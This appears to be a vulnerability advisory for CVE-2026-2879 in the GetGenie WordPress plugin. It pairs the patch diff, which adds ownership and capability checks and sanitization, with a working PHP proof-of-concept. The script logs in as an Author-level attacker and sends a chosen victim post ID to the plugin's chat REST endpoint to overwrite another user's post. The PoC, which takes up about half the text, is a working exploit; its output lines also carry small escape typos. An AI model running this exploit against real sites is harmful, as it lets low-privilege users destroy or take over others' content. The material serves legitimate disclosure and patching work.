CVE-2026-2879: GetGenie <= 4.3.2 – Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Post Overwrite/Deletion (getgenie)

--- a/getgenie/app/Api/GetGenieChat.php
+++ b/getgenie/app/Api/GetGenieChat.php
@@ -75,6 +75,15 @@
             $conversation_id = wp_insert_post($record);
             $message = 'Chat created successfully.';
         } else {
+            // Verify the post exists, belongs to current user, and is the correct post type
+            $post = get_post($conversation_id);
+            if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()) {
+                return [
+                    'status'  => 'fail',
+                    'message' => ['Access denied. You can only update your own chat conversations.'],
+                ];
+            }
+
             $record = array(
                 'ID'          => $conversation_id,
                 'post_title'  => $req->templateSlug . '-' . date('Y-m-d H:i:s'),
--- a/getgenie/app/Api/Store.php
+++ b/getgenie/app/Api/Store.php
@@ -29,7 +29,9 @@
             ];
         }

-        if (!is_user_logged_in() || !current_user_can('publish_posts')) {
+        $post_id = $request['post_id'];
+
+        if (!is_user_logged_in() || !current_user_can('edit_post', $post_id)) {
             return [
                 'status'  => 'fail',
                 'message' => ['Access denied.'],
@@ -37,8 +39,6 @@
         }

         $data = $request->get_body();
-
-        $post_id = $request['post_id'];
         $key     = $request['key'];
         $prefix  = GETGENIE_BLOGWIZARD_PREFIX;

@@ -71,6 +71,9 @@

         }

+        // Sanitize the data to prevent XSS attacks
+        $data = wp_kses_post($data);
+
         update_post_meta($post_id, $prefix . $key, wp_slash($data));

         return [
--- a/getgenie/getgenie.php
+++ b/getgenie/getgenie.php
@@ -5,7 +5,7 @@
  * Description:  GetGenie AI is the most intuitive A.I Content Wordpress Plugin that can help you save time and write smarter.
  * Plugin URI: https://getgenie.ai/
  * Author: getgenieai
- * Version: 4.3.2
+ * Version: 4.3.3
  * Author URI: https://getgenie.ai/
  *
  * Text Domain: getgenie
@@ -20,7 +20,7 @@

 defined('ABSPATH') || exit;

-define('GETGENIE_VERSION', '4.3.2');
+define('GETGENIE_VERSION', '4.3.3');
 define('GETGENIE_TEXTDOMAIN', 'getgenie');
 define('GETGENIE_BASENAME', plugin_basename(__FILE__));
 define('GETGENIE_URL', trailingslashit(plugin_dir_url(__FILE__)));

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2879 - GetGenie <= 4.3.2 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Post Overwrite/Deletion
<?php
// Configuration
$target_url = 'https://example.com';
$username = 'attacker_author';
$password = 'attacker_password';
$victim_post_id = 123; // ID of the post to overwrite (e.g., an Administrator's post)
$template_slug = 'exploit';

// Step 1: Authenticate to WordPress and obtain a nonce/authentication cookie.
// This PoC uses a session with cookies. In practice, you may need to handle REST API authentication.
$login_url = $target_url . '/wp-login.php';
$rest_url = $target_url . '/wp-json/getgenie/v1/chat/create';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ])
]);
$response = curl_exec($ch);

// Step 2: Send the malicious request to the vulnerable endpoint.
// The plugin does not require a nonce for this action in vulnerable versions.
$payload = [
    'id' => $victim_post_id,
    'templateSlug' => $template_slug
];
curl_setopt_array($ch, [
    CURLOPT_URL => $rest_url,
    CURLOPT_POSTFIELDS => json_encode($payload),
    CURLOPT_HTTPHEADER => ['Content-Type: application/json']
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Output result.
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful exploit will return a JSON response with status 'success' and the updated post ID.
// The victim post's content, author, and type will be overwritten.
?>